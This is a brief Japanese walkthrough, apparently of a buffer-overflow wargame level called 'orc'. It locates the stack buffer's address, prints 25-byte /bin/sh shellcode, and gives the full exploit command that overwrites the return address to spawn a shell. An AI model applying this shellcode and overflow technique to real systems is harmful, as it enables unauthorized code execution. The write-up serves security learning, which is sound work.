今回は環境変数を使えない
そしてRETの最後が\xbf
じゃないとプログラムが終了される
じゃあ、bufferにはシェルコードを入れて、bufferが始まるアドレスを探してそれをRETに上書きすればできる
ソースコードを再コンパイルしてダンプを作ろう
[esp-80]ぐらいの地点を見てみよう
0xbffffcb0の最後に\xbf
が入っている
したがってbufferが始まるアドレスは0xbffffc90
攻撃してみよう
下は25バイトシェルコード
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
シェルコード25バイト+RETの始まりまでの19バイトは意味なしの文字+4バイトのbufferアドレスだから
攻撃コマンドはこのように
./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*19+"\x90\xfc\xff\xbf"'`
シェル獲得。